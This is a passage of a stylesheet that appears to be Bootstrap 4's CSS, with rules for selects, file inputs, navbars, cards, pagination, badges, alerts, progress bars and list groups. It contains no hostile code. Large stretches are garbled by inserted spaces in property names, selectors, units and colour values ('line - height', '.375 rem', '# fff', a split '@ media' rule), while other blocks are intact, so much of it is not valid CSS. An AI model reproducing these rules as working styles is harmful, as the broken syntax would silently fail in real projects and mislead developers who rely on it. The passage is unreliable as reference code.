    padding: .375 rem 1.75 rem.375 rem.75 rem;
    line - height: 1.5;
    color: #495057;
        vertical-align: middle;
        background: # fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no - repeat right.75 rem center;
    background - size: 8 px 10 px;
    border: 1 px solid # ced4da;
    border - radius: .25 rem; - webkit - appearance: none; - moz - appearance: none;
    appearance: none
}

.custom - select: focus {
    border - color: #80bdff;
        outline: 0;
        box-shadow: inset 0 1px 2px rgba(0, 0, 0, .075), 0 0 5px rgba(128, 189, 255, .5)
    }

    .custom-select:focus::-ms-value {
        color: # 495057;
    background - color: # fff
}

.custom - select[multiple],
    .custom - select[size]: not([size = "1"]) {
        height: auto;
        padding - right: .75 rem;
        background - image: none
    }

.custom - select: disabled {
    color: #6c757d;
        background-color: # e9ecef
}

.custom - select::-ms - expand {
    opacity: 0
}

.custom - select - sm {
    height: calc(1.8125 rem + 2 px);
    padding - top: .375 rem;
    padding - bottom: .375 rem;
    font - size: 75 %
}

.custom - select - lg {
    height: calc(2.875 rem + 2 px);
    padding - top: .375 rem;
    padding - bottom: .375 rem;
    font - size: 125 %
}

.custom - file {
    position: relative;
    display: inline - block;
    width: 100 % ;
    height: calc(2.25 rem + 2 px);
    margin - bottom: 0
}

.custom - file - input {
    position: relative;
    z - index: 2;
    width: 100 % ;
    height: calc(2.25 rem + 2 px);
    margin: 0;
    opacity: 0
}

.custom - file - input: focus~.custom - file - control {
    border - color: #80bdff;
        box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25)
    }

    .custom-file-input:focus~.custom-file-control::before {
        border-color: # 80 bdff
}

.custom - file - input: lang(en) ~.custom - file - label::after {
    content: "Browse"
}

.custom - file - label {
    position: absolute;
    top: 0;
    right: 0;
    left: 0;
    z - index: 1;
    height: calc(2.25 rem + 2 px);
    padding: .375 rem.75 rem;
    line - height: 1.5;
    color: #495057;
        background-color: # fff;
    border: 1 px solid # ced4da;
    border - radius: .25 rem
}

.custom - file - label::after {
    position: absolute;
    top: 0;
    right: 0;
    bottom: 0;
    z - index: 3;
    display: block;
    height: calc(calc(2.25 rem + 2 px) - 1 px * 2);
    padding: .375 rem.75 rem;
    line - height: 1.5;
    color: #495057;
        content: "Browse";
        background-color: # e9ecef;
    border - left: 1 px solid # ced4da;
    border - radius: 0.25 rem.25 rem 0
}

.nav {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    padding - left: 0;
    margin - bottom: 0;
    list - style: none
}

.nav - link {
    display: block;
    padding: .5 rem 1 rem
}

.nav - link: focus,
    .nav - link: hover {
        text - decoration: none
    }

.nav - link.disabled {
    color: #6c757d
    }

    .nav-tabs {
        border-bottom: 1px solid # dee2e6
}

.nav - tabs.nav - item {
    margin - bottom: -1 px
}

.nav - tabs.nav - link {
    border: 1 px solid transparent;
    border - top - left - radius: .25 rem;
    border - top - right - radius: .25 rem
}

.nav - tabs.nav - link: focus,
    .nav - tabs.nav - link: hover {
        border - color: # e9ecef # e9ecef # dee2e6
    }

.nav - tabs.nav - link.disabled {
    color: #6c757d;
        background-color: transparent;
        border-color: transparent
    }

    .nav-tabs .nav-item.show .nav-link,
    .nav-tabs .nav-link.active {
        color: # 495057;
    background - color: # fff;
    border - color: # dee2e6 # dee2e6 # fff
}

.nav - tabs.dropdown - menu {
    margin - top: -1 px;
    border - top - left - radius: 0;
    border - top - right - radius: 0
}

.nav - pills.nav - link {
    border - radius: .25 rem
}

.nav - pills.nav - link.active,
    .nav - pills.show > .nav - link {
        color: # fff;
        background - color: #007bff
    }

    .nav-fill .nav-item {
        -webkit-box-flex: 1;
        -ms-flex: 1 1 auto;
        flex: 1 1 auto;
        text-align: center
    }

    .nav-justified .nav-item {
        -ms-flex-preferred-size: 0;
        flex-basis: 0;
        -webkit-box-flex: 1;
        -ms-flex-positive: 1;
        flex-grow: 1;
        text-align: center
    }

    .tab-content>.tab-pane {
        display: none
    }

    .tab-content>.active {
        display: block
    }

    .navbar {
        position: relative;
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -ms-flex-wrap: wrap;
        flex-wrap: wrap;
        -webkit-box-align: center;
        -ms-flex-align: center;
        align-items: center;
        -webkit-box-pack: justify;
        -ms-flex-pack: justify;
        justify-content: space-between;
        padding: .5rem 1rem
    }

    .navbar>.container,
    .navbar>.container-fluid {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -ms-flex-wrap: wrap;
        flex-wrap: wrap;
        -webkit-box-align: center;
        -ms-flex-align: center;
        align-items: center;
        -webkit-box-pack: justify;
        -ms-flex-pack: justify;
        justify-content: space-between
    }

    .navbar-brand {
        display: inline-block;
        padding-top: .3125rem;
        padding-bottom: .3125rem;
        margin-right: 1rem;
        font-size: 1.25rem;
        line-height: inherit;
        white-space: nowrap
    }

    .navbar-brand:focus,
    .navbar-brand:hover {
        text-decoration: none
    }

    .navbar-nav {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -webkit-box-orient: vertical;
        -webkit-box-direction: normal;
        -ms-flex-direction: column;
        flex-direction: column;
        padding-left: 0;
        margin-bottom: 0;
        list-style: none
    }

    .navbar-nav .nav-link {
        padding-right: 0;
        padding-left: 0
    }

    .navbar-nav .dropdown-menu {
        position: static;
        float: none
    }

    .navbar-text {
        display: inline-block;
        padding-top: .5rem;
        padding-bottom: .5rem
    }

    .navbar-collapse {
        -ms-flex-preferred-size: 100%;
        flex-basis: 100%;
        -webkit-box-flex: 1;
        -ms-flex-positive: 1;
        flex-grow: 1;
        -webkit-box-align: center;
        -ms-flex-align: center;
        align-items: center
    }

    .navbar-toggler {
        padding: .25rem .75rem;
        font-size: 1.25rem;
        line-height: 1;
        background-color: transparent;
        border: 1px solid transparent;
        border-radius: .25rem
    }

    .navbar-toggler:focus,
    .navbar-toggler:hover {
        text-decoration: none
    }

    .navbar-toggler:not(:disabled):not(.disabled) {
        cursor: pointer
    }

    .navbar-toggler-icon {
        display: inline-block;
        width: 1.5em;
        height: 1.5em;
        vertical-align: middle;
        content: "";
        background: no-repeat center center;
        background-size: 100% 100%
    }

    @media (max-width:575.98px) {

        .navbar-expand-sm>.container,
        .navbar-expand-sm>.container-fluid {
            padding-right: 0;
            padding-left: 0
        }
    }

    @media (min-width:576px) {
        .navbar-expand-sm {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-flow: row nowrap;
            flex-flow: row nowrap;
            -webkit-box-pack: start;
            -ms-flex-pack: start;
            justify-content: flex-start
        }

        .navbar-expand-sm .navbar-nav {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-direction: row;
            flex-direction: row
        }

        .navbar-expand-sm .navbar-nav .dropdown-menu {
            position: absolute
        }

        .navbar-expand-sm .navbar-nav .dropdown-menu-right {
            right: 0;
            left: auto
        }

        .navbar-expand-sm .navbar-nav .nav-link {
            padding-right: .5rem;
            padding-left: .5rem
        }

        .navbar-expand-sm>.container,
        .navbar-expand-sm>.container-fluid {
            -ms-flex-wrap: nowrap;
            flex-wrap: nowrap
        }

        .navbar-expand-sm .navbar-collapse {
            display: -webkit-box !important;
            display: -ms-flexbox !important;
            display: flex !important;
            -ms-flex-preferred-size: auto;
            flex-basis: auto
        }

        .navbar-expand-sm .navbar-toggler {
            display: none
        }

        .navbar-expand-sm .dropup .dropdown-menu {
            top: auto;
            bottom: 100%
        }
    }

    @media (max-width:767.98px) {

        .navbar-expand-md>.container,
        .navbar-expand-md>.container-fluid {
            padding-right: 0;
            padding-left: 0
        }
    }

    @media (min-width:768px) {
        .navbar-expand-md {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-flow: row nowrap;
            flex-flow: row nowrap;
            -webkit-box-pack: start;
            -ms-flex-pack: start;
            justify-content: flex-start
        }

        .navbar-expand-md .navbar-nav {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-direction: row;
            flex-direction: row
        }

        .navbar-expand-md .navbar-nav .dropdown-menu {
            position: absolute
        }

        .navbar-expand-md .navbar-nav .dropdown-menu-right {
            right: 0;
            left: auto
        }

        .navbar-expand-md .navbar-nav .nav-link {
            padding-right: .5rem;
            padding-left: .5rem
        }

        .navbar-expand-md>.container,
        .navbar-expand-md>.container-fluid {
            -ms-flex-wrap: nowrap;
            flex-wrap: nowrap
        }

        .navbar-expand-md .navbar-collapse {
            display: -webkit-box !important;
            display: -ms-flexbox !important;
            display: flex !important;
            -ms-flex-preferred-size: auto;
            flex-basis: auto
        }

        .navbar-expand-md .navbar-toggler {
            display: none
        }

        .navbar-expand-md .dropup .dropdown-menu {
            top: auto;
            bottom: 100%
        }
    }

    @media (max-width:991.98px) {

        .navbar-expand-lg>.container,
        .navbar-expand-lg>.container-fluid {
            padding-right: 0;
            padding-left: 0
        }
    }

    @media (min-width:992px) {
        .navbar-expand-lg {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-flow: row nowrap;
            flex-flow: row nowrap;
            -webkit-box-pack: start;
            -ms-flex-pack: start;
            justify-content: flex-start
        }

        .navbar-expand-lg .navbar-nav {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-direction: row;
            flex-direction: row
        }

        .navbar-expand-lg .navbar-nav .dropdown-menu {
            position: absolute
        }

        .navbar-expand-lg .navbar-nav .dropdown-menu-right {
            right: 0;
            left: auto
        }

        .navbar-expand-lg .navbar-nav .nav-link {
            padding-right: .5rem;
            padding-left: .5rem
        }

        .navbar-expand-lg>.container,
        .navbar-expand-lg>.container-fluid {
            -ms-flex-wrap: nowrap;
            flex-wrap: nowrap
        }

        .navbar-expand-lg .navbar-collapse {
            display: -webkit-box !important;
            display: -ms-flexbox !important;
            display: flex !important;
            -ms-flex-preferred-size: auto;
            flex-basis: auto
        }

        .navbar-expand-lg .navbar-toggler {
            display: none
        }

        .navbar-expand-lg .dropup .dropdown-menu {
            top: auto;
            bottom: 100%
        }
    }

    @media (max-width:1199.98px) {

        .navbar-expand-xl>.container,
        .navbar-expand-xl>.container-fluid {
            padding-right: 0;
            padding-left: 0
        }
    }

    @media (min-width:1200px) {
        .navbar-expand-xl {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-flow: row nowrap;
            flex-flow: row nowrap;
            -webkit-box-pack: start;
            -ms-flex-pack: start;
            justify-content: flex-start
        }

        .navbar-expand-xl .navbar-nav {
            -webkit-box-orient: horizontal;
            -webkit-box-direction: normal;
            -ms-flex-direction: row;
            flex-direction: row
        }

        .navbar-expand-xl .navbar-nav .dropdown-menu {
            position: absolute
        }

        .navbar-expand-xl .navbar-nav .dropdown-menu-right {
            right: 0;
            left: auto
        }

        .navbar-expand-xl .navbar-nav .nav-link {
            padding-right: .5rem;
            padding-left: .5rem
        }

        .navbar-expand-xl>.container,
        .navbar-expand-xl>.container-fluid {
            -ms-flex-wrap: nowrap;
            flex-wrap: nowrap
        }

        .navbar-expand-xl .navbar-collapse {
            display: -webkit-box !important;
            display: -ms-flexbox !important;
            display: flex !important;
            -ms-flex-preferred-size: auto;
            flex-basis: auto
        }

        .navbar-expand-xl .navbar-toggler {
            display: none
        }

        .navbar-expand-xl .dropup .dropdown-menu {
            top: auto;
            bottom: 100%
        }
    }

    .navbar-expand {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-flow: row nowrap;
        flex-flow: row nowrap;
        -webkit-box-pack: start;
        -ms-flex-pack: start;
        justify-content: flex-start
    }

    .navbar-expand>.container,
    .navbar-expand>.container-fluid {
        padding-right: 0;
        padding-left: 0
    }

    .navbar-expand .navbar-nav {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-direction: row;
        flex-direction: row
    }

    .navbar-expand .navbar-nav .dropdown-menu {
        position: absolute
    }

    .navbar-expand .navbar-nav .dropdown-menu-right {
        right: 0;
        left: auto
    }

    .navbar-expand .navbar-nav .nav-link {
        padding-right: .5rem;
        padding-left: .5rem
    }

    .navbar-expand>.container,
    .navbar-expand>.container-fluid {
        -ms-flex-wrap: nowrap;
        flex-wrap: nowrap
    }

    .navbar-expand .navbar-collapse {
        display: -webkit-box !important;
        display: -ms-flexbox !important;
        display: flex !important;
        -ms-flex-preferred-size: auto;
        flex-basis: auto
    }

    .navbar-expand .navbar-toggler {
        display: none
    }

    .navbar-expand .dropup .dropdown-menu {
        top: auto;
        bottom: 100%
    }

    .navbar-light .navbar-brand {
        color: rgba(0, 0, 0, .9)
    }

    .navbar-light .navbar-brand:focus,
    .navbar-light .navbar-brand:hover {
        color: rgba(0, 0, 0, .9)
    }

    .navbar-light .navbar-nav .nav-link {
        color: rgba(0, 0, 0, .5)
    }

    .navbar-light .navbar-nav .nav-link:focus,
    .navbar-light .navbar-nav .nav-link:hover {
        color: rgba(0, 0, 0, .7)
    }

    .navbar-light .navbar-nav .nav-link.disabled {
        color: rgba(0, 0, 0, .3)
    }

    .navbar-light .navbar-nav .active>.nav-link,
    .navbar-light .navbar-nav .nav-link.active,
    .navbar-light .navbar-nav .nav-link.show,
    .navbar-light .navbar-nav .show>.nav-link {
        color: rgba(0, 0, 0, .9)
    }

    .navbar-light .navbar-toggler {
        color: rgba(0, 0, 0, .5);
        border-color: rgba(0, 0, 0, .1)
    }

    .navbar-light .navbar-toggler-icon {
        background-image: url("data:image/svg+xml;charset= utf8,
        % 3 Csvg viewBox = '0 0 30 30'
        xmlns = 'http://www.w3.org/2000/svg' % 3E % 3 Cpath stroke = 'rgba(0, 0, 0, 0.5)'
        stroke - width = '2'
        stroke - linecap = 'round'
        stroke - miterlimit = '10'
        d = 'M4 7h22M4 15h22M4 23h22' / % 3E % 3 C / svg % 3E ")
    }

.navbar - light.navbar - text {
    color: rgba(0, 0, 0, .5)
}

.navbar - light.navbar - text a {
    color: rgba(0, 0, 0, .9)
}

.navbar - light.navbar - text a: focus,
    .navbar - light.navbar - text a: hover {
        color: rgba(0, 0, 0, .9)
    }

.navbar - dark.navbar - brand {
    color: # fff
}

.navbar - dark.navbar - brand: focus,
    .navbar - dark.navbar - brand: hover {
        color: # fff
    }

.navbar - dark.navbar - nav.nav - link {
    color: rgba(255, 255, 255, .5)
}

.navbar - dark.navbar - nav.nav - link: focus,
    .navbar - dark.navbar - nav.nav - link: hover {
        color: rgba(255, 255, 255, .75)
    }

.navbar - dark.navbar - nav.nav - link.disabled {
    color: rgba(255, 255, 255, .25)
}

.navbar - dark.navbar - nav.active > .nav - link,
    .navbar - dark.navbar - nav.nav - link.active,
    .navbar - dark.navbar - nav.nav - link.show,
    .navbar - dark.navbar - nav.show > .nav - link {
        color: # fff
    }

.navbar - dark.navbar - toggler {
    color: rgba(255, 255, 255, .5);
    border - color: rgba(255, 255, 255, .1)
}

.navbar - dark.navbar - toggler - icon {
    background - image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")
}

.navbar - dark.navbar - text {
    color: rgba(255, 255, 255, .5)
}

.navbar - dark.navbar - text a {
    color: # fff
}

.navbar - dark.navbar - text a: focus,
    .navbar - dark.navbar - text a: hover {
        color: # fff
    }

.card {
    position: relative;
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column;
    min - width: 0;
    word - wrap: break -word;
    background - color: # fff;
    background - clip: border - box;
    border: 1 px solid rgba(0, 0, 0, .125);
    border - radius: .25 rem
}

.card > hr {
    margin - right: 0;
    margin - left: 0
}

.card > .list - group: first - child.list - group - item: first - child {
    border - top - left - radius: .25 rem;
    border - top - right - radius: .25 rem
}

.card > .list - group: last - child.list - group - item: last - child {
    border - bottom - right - radius: .25 rem;
    border - bottom - left - radius: .25 rem
}

.card - body {
    -webkit - box - flex: 1; - ms - flex: 1 1 auto;
    flex: 1 1 auto;
    padding: 1.25 rem
}

.card - title {
    margin - bottom: .75 rem
}

.card - subtitle {
    margin - top: -.375 rem;
    margin - bottom: 0
}

.card - text: last - child {
    margin - bottom: 0
}

.card - link: hover {
    text - decoration: none
}

.card - link + .card - link {
    margin - left: 1.25 rem
}

.card - header {
    padding: .75 rem 1.25 rem;
    margin - bottom: 0;
    background - color: rgba(0, 0, 0, .03);
    border - bottom: 1 px solid rgba(0, 0, 0, .125)
}

.card - header: first - child {
    border - radius: calc(.25 rem - 1 px) calc(.25 rem - 1 px) 0 0
}

.card - header + .list - group.list - group - item: first - child {
    border - top: 0
}

.card - footer {
    padding: .75 rem 1.25 rem;
    background - color: rgba(0, 0, 0, .03);
    border - top: 1 px solid rgba(0, 0, 0, .125)
}

.card - footer: last - child {
    border - radius: 0 0 calc(.25 rem - 1 px) calc(.25 rem - 1 px)
}

.card - header - tabs {
    margin - right: -.625 rem;
    margin - bottom: -.75 rem;
    margin - left: -.625 rem;
    border - bottom: 0
}

.card - header - pills {
    margin - right: -.625 rem;
    margin - left: -.625 rem
}

.card - img - overlay {
    position: absolute;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    padding: 1.25 rem
}

.card - img {
    width: 100 % ;
    border - radius: calc(.25 rem - 1 px)
}

.card - img - top {
    width: 100 % ;
    border - top - left - radius: calc(.25 rem - 1 px);
    border - top - right - radius: calc(.25 rem - 1 px)
}

.card - img - bottom {
    width: 100 % ;
    border - bottom - right - radius: calc(.25 rem - 1 px);
    border - bottom - left - radius: calc(.25 rem - 1 px)
}

.card - deck {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column
}

.card - deck.card {
    margin - bottom: 15 px
}

@
media(min - width: 576 px) {
    .card - deck {
        -webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
        flex - flow: row wrap;
        margin - right: -15 px;
        margin - left: -15 px
    }

    .card - deck.card {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex; - webkit - box - flex: 1; - ms - flex: 1 0 0 % ;
        flex: 1 0 0 % ; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
        flex - direction: column;
        margin - right: 15 px;
        margin - bottom: 0;
        margin - left: 15 px
    }
}

.card - group {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column
}

.card - group > .card {
    margin - bottom: 15 px
}

@
media(min - width: 576 px) {
    .card - group {
        -webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
        flex - flow: row wrap
    }

    .card - group > .card {
        -webkit - box - flex: 1; - ms - flex: 1 0 0 % ;
        flex: 1 0 0 % ;
        margin - bottom: 0
    }

    .card - group > .card + .card {
        margin - left: 0;
        border - left: 0
    }

    .card - group > .card: first - child {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

    .card - group > .card: first - child.card - header,
        .card - group > .card: first - child.card - img - top {
            border - top - right - radius: 0
        }

    .card - group > .card: first - child.card - footer,
        .card - group > .card: first - child.card - img - bottom {
            border - bottom - right - radius: 0
        }

    .card - group > .card: last - child {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

    .card - group > .card: last - child.card - header,
        .card - group > .card: last - child.card - img - top {
            border - top - left - radius: 0
        }

    .card - group > .card: last - child.card - footer,
        .card - group > .card: last - child.card - img - bottom {
            border - bottom - left - radius: 0
        }

    .card - group > .card: only - child {
        border - radius: .25 rem
    }

    .card - group > .card: only - child.card - header,
        .card - group > .card: only - child.card - img - top {
            border - top - left - radius: .25 rem;
            border - top - right - radius: .25 rem
        }

    .card - group > .card: only - child.card - footer,
        .card - group > .card: only - child.card - img - bottom {
            border - bottom - right - radius: .25 rem;
            border - bottom - left - radius: .25 rem
        }

    .card - group > .card: not(: first - child): not(: last - child): not(: only - child) {
        border - radius: 0
    }

    .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - footer,
        .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - header,
        .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - img - bottom,
        .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - img - top {
            border - radius: 0
        }
}

.card - columns.card {
    margin - bottom: .75 rem
}

@
media(min - width: 576 px) {
    .card - columns {
        -webkit - column - count: 3; - moz - column - count: 3;
        column - count: 3; - webkit - column - gap: 1.25 rem; - moz - column - gap: 1.25 rem;
        column - gap: 1.25 rem
    }

    .card - columns.card {
        display: inline - block;
        width: 100 %
    }
}

.breadcrumb {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    padding: .75 rem 1 rem;
    margin - bottom: 1 rem;
    list - style: none;
    background - color: # e9ecef;
    border - radius: .25 rem
}

.breadcrumb - item + .breadcrumb - item::before {
    display: inline - block;
    padding - right: .5 rem;
    padding - left: .5 rem;
    color: #6c757d;
        content: "/"
    }

    .breadcrumb-item+.breadcrumb-item:hover::before {
        text-decoration: underline
    }

    .breadcrumb-item+.breadcrumb-item:hover::before {
        text-decoration: none
    }

    .breadcrumb-item.active {
        color: # 6 c757d
}

.pagination {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex;
    padding - left: 0;
    list - style: none;
    border - radius: .25 rem
}

.page - link {
    position: relative;
    display: block;
    padding: .5 rem.75 rem;
    margin - left: -1 px;
    line - height: 1.25;
    color: #007bff;
        background-color: # fff;
    border: 1 px solid # dee2e6
}

.page - link: hover {
    color: #0056b3;
        text-decoration: none;
        background-color: # e9ecef;
    border - color: # dee2e6
}

.page - link: focus {
    z - index: 2;
    outline: 0;
    box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .25)
}

.page - link: not(: disabled): not(.disabled) {
    cursor: pointer
}

.page - item: first - child.page - link {
    margin - left: 0;
    border - top - left - radius: .25 rem;
    border - bottom - left - radius: .25 rem
}

.page - item: last - child.page - link {
    border - top - right - radius: .25 rem;
    border - bottom - right - radius: .25 rem
}

.page - item.active.page - link {
    z - index: 1;
    color: # fff;
    background - color: #007bff;
        border-color: # 007 bff
}

.page - item.disabled.page - link {
    color: #6c757d;
        pointer-events: none;
        cursor: auto;
        background-color: # fff;
    border - color: # dee2e6
}

.pagination - lg.page - link {
    padding: .75 rem 1.5 rem;
    font - size: 1.25 rem;
    line - height: 1.5
}

.pagination - lg.page - item: first - child.page - link {
    border - top - left - radius: .3 rem;
    border - bottom - left - radius: .3 rem
}

.pagination - lg.page - item: last - child.page - link {
    border - top - right - radius: .3 rem;
    border - bottom - right - radius: .3 rem
}

.pagination - sm.page - link {
    padding: .25 rem.5 rem;
    font - size: .875 rem;
    line - height: 1.5
}

.pagination - sm.page - item: first - child.page - link {
    border - top - left - radius: .2 rem;
    border - bottom - left - radius: .2 rem
}

.pagination - sm.page - item: last - child.page - link {
    border - top - right - radius: .2 rem;
    border - bottom - right - radius: .2 rem
}

.badge {
    display: inline - block;
    padding: .25e m.4e m;
    font - size: 75 % ;
    font - weight: 700;
    line - height: 1;
    text - align: center;
    white - space: nowrap;
    vertical - align: baseline;
    border - radius: .25 rem
}

.badge: empty {
    display: none
}

.btn.badge {
    position: relative;
    top: -1 px
}

.badge - pill {
    padding - right: .6e m;
    padding - left: .6e m;
    border - radius: 10 rem
}

.badge - primary {
    color: # fff;
    background - color: #007bff
    }

    .badge-primary[href]:focus,
    .badge-primary[href]:hover {
        color: # fff;
    text - decoration: none;
    background - color: #0062cc
    }

    .badge-secondary {
        color: # fff;
    background - color: #6c757d
    }

    .badge-secondary[href]:focus,
    .badge-secondary[href]:hover {
        color: # fff;
    text - decoration: none;
    background - color: #545b62
    }

    .badge-success {
        color: # fff;
    background - color: #28a745
    }

    .badge-success[href]:focus,
    .badge-success[href]:hover {
        color: # fff;
    text - decoration: none;
    background - color: #1e7e34
    }

    .badge-info {
        color: # fff;
    background - color: #17a2b8
    }

    .badge-info[href]:focus,
    .badge-info[href]:hover {
        color: # fff;
    text - decoration: none;
    background - color: #117a8b
    }

    .badge-warning {
        color: # 212529;
    background - color: # ffc107
}

.badge - warning[href]: focus,
    .badge - warning[href]: hover {
        color: #212529;
        text-decoration: none;
        background-color: # d39e00
    }

.badge - danger {
    color: # fff;
    background - color: # dc3545
}

.badge - danger[href]: focus,
    .badge - danger[href]: hover {
        color: # fff;
        text - decoration: none;
        background - color: # bd2130
    }

.badge - light {
    color: #212529;
        background-color: # f8f9fa
}

.badge - light[href]: focus,
    .badge - light[href]: hover {
        color: #212529;
        text-decoration: none;
        background-color: # dae0e5
    }

.badge - dark {
    color: # fff;
    background - color: #343a40
    }

    .badge-dark[href]:focus,
    .badge-dark[href]:hover {
        color: # fff;
    text - decoration: none;
    background - color: #1d2124
    }

    .jumbotron {
        padding: 2rem 1rem;
        margin-bottom: 2rem;
        background-color: # e9ecef;
    border - radius: .3 rem
}

@
media(min - width: 576 px) {
    .jumbotron {
        padding: 4 rem 2 rem
    }
}

.jumbotron - fluid {
    padding - right: 0;
    padding - left: 0;
    border - radius: 0
}

.alert {
    position: relative;
    padding: .75 rem 1.25 rem;
    margin - bottom: 1 rem;
    border: 1 px solid transparent;
    border - radius: .25 rem
}

.alert - heading {
    color: inherit
}

.alert - link {
    font - weight: 700
}

.alert - dismissible {
    padding - right: 4 rem
}

.alert - dismissible.close {
    position: absolute;
    top: 0;
    right: 0;
    padding: .75 rem 1.25 rem;
    color: inherit
}

.alert - primary {
    color: #004085;
        background-color: # cce5ff;
    border - color: # b8daff
}

.alert - primary hr {
    border - top - color: #9fcdff
    }

    .alert-primary .alert-link {
        color: # 002752
}

.alert - secondary {
    color: #383d41;
        background-color: # e2e3e5;
    border - color: # d6d8db
}

.alert - secondary hr {
    border - top - color: # c8cbcf
}

.alert - secondary.alert - link {
    color: #202326
    }

    .alert-success {
        color: # 155724;
    background - color: # d4edda;
    border - color: # c3e6cb
}

.alert - success hr {
    border - top - color: # b1dfbb
}

.alert - success.alert - link {
    color: #0b2e13
    }

    .alert-info {
        color: # 0 c5460;
    background - color: # d1ecf1;
    border - color: # bee5eb
}

.alert - info hr {
    border - top - color: # abdde5
}

.alert - info.alert - link {
    color: #062c33
    }

    .alert-warning {
        color: # 856404;
    background - color: # fff3cd;
    border - color: # ffeeba
}

.alert - warning hr {
    border - top - color: # ffe8a1
}

.alert - warning.alert - link {
    color: #533f03
    }

    .alert-danger {
        color: # 721 c24;
    background - color: # f8d7da;
    border - color: # f5c6cb
}

.alert - danger hr {
    border - top - color: # f1b0b7
}

.alert - danger.alert - link {
    color: #491217
    }

    .alert-light {
        color: # 818182;
    background - color: # fefefe;
    border - color: # fdfdfe
}

.alert - light hr {
    border - top - color: # ececf6
}

.alert - light.alert - link {
    color: #686868
    }

    .alert-dark {
        color: # 1 b1e21;
    background - color: # d6d8d9;
    border - color: # c6c8ca
}

.alert - dark hr {
    border - top - color: # b9bbbe
}

.alert - dark.alert - link {
    color: #040505
    }

    @-webkit-keyframes progress-bar-stripes {
        from {
            background-position: 1rem 0
        }

        to {
            background-position: 0 0
        }
    }

    @keyframes progress-bar-stripes {
        from {
            background-position: 1rem 0
        }

        to {
            background-position: 0 0
        }
    }

    .progress {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        height: 1rem;
        overflow: hidden;
        font-size: .75rem;
        background-color: # e9ecef;
    border - radius: .25 rem
}

.progress - bar {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column; - webkit - box - pack: center; - ms - flex - pack: center;
    justify - content: center;
    color: # fff;
    text - align: center;
    background - color: #007bff;
        transition: width .6s ease
    }

    .progress-bar-striped {
        background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
        background-size: 1rem 1rem
    }

    .progress-bar-animated {
        -webkit-animation: progress-bar-stripes 1s linear infinite;
        animation: progress-bar-stripes 1s linear infinite
    }

    .media {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -webkit-box-align: start;
        -ms-flex-align: start;
        align-items: flex-start
    }

    .media-body {
        -webkit-box-flex: 1;
        -ms-flex: 1;
        flex: 1
    }

    .list-group {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -webkit-box-orient: vertical;
        -webkit-box-direction: normal;
        -ms-flex-direction: column;
        flex-direction: column;
        padding-left: 0;
        margin-bottom: 0
    }

    .list-group-item-action {
        width: 100%;
        color: # 495057;
    text - align: inherit
}

.list - group - item - action: focus,
    .list - group - item - action: hover {
        color: #495057;
        text-decoration: none;
        background-color: # f8f9fa
    }

.list - group - item - action: active {
    color: #212529;
        background-color: # e9ecef
}

.list - group - item {
    position: relative;
    display: block;
    padding: .75 rem 1.25 rem;
    margin - bottom: -1 px;
    background - color: # fff;
    border: 1 px solid rgba(0, 0, 0, .125)
}

.list - group - item: first - child {
    border - top - left - radius: .25 rem;
    border - top - right - radius: .25 rem
}

.list - group - item: last - child {
    margin - bottom: 0;
    border - bottom - right - radius: .25 rem;
    border - bottom - left - radius: .25 rem
}

.list - group - item: focus,
    .list - group - item: hover {
        z - index: 1;
        text - decoration: none
    }

.list - group - item.disabled,
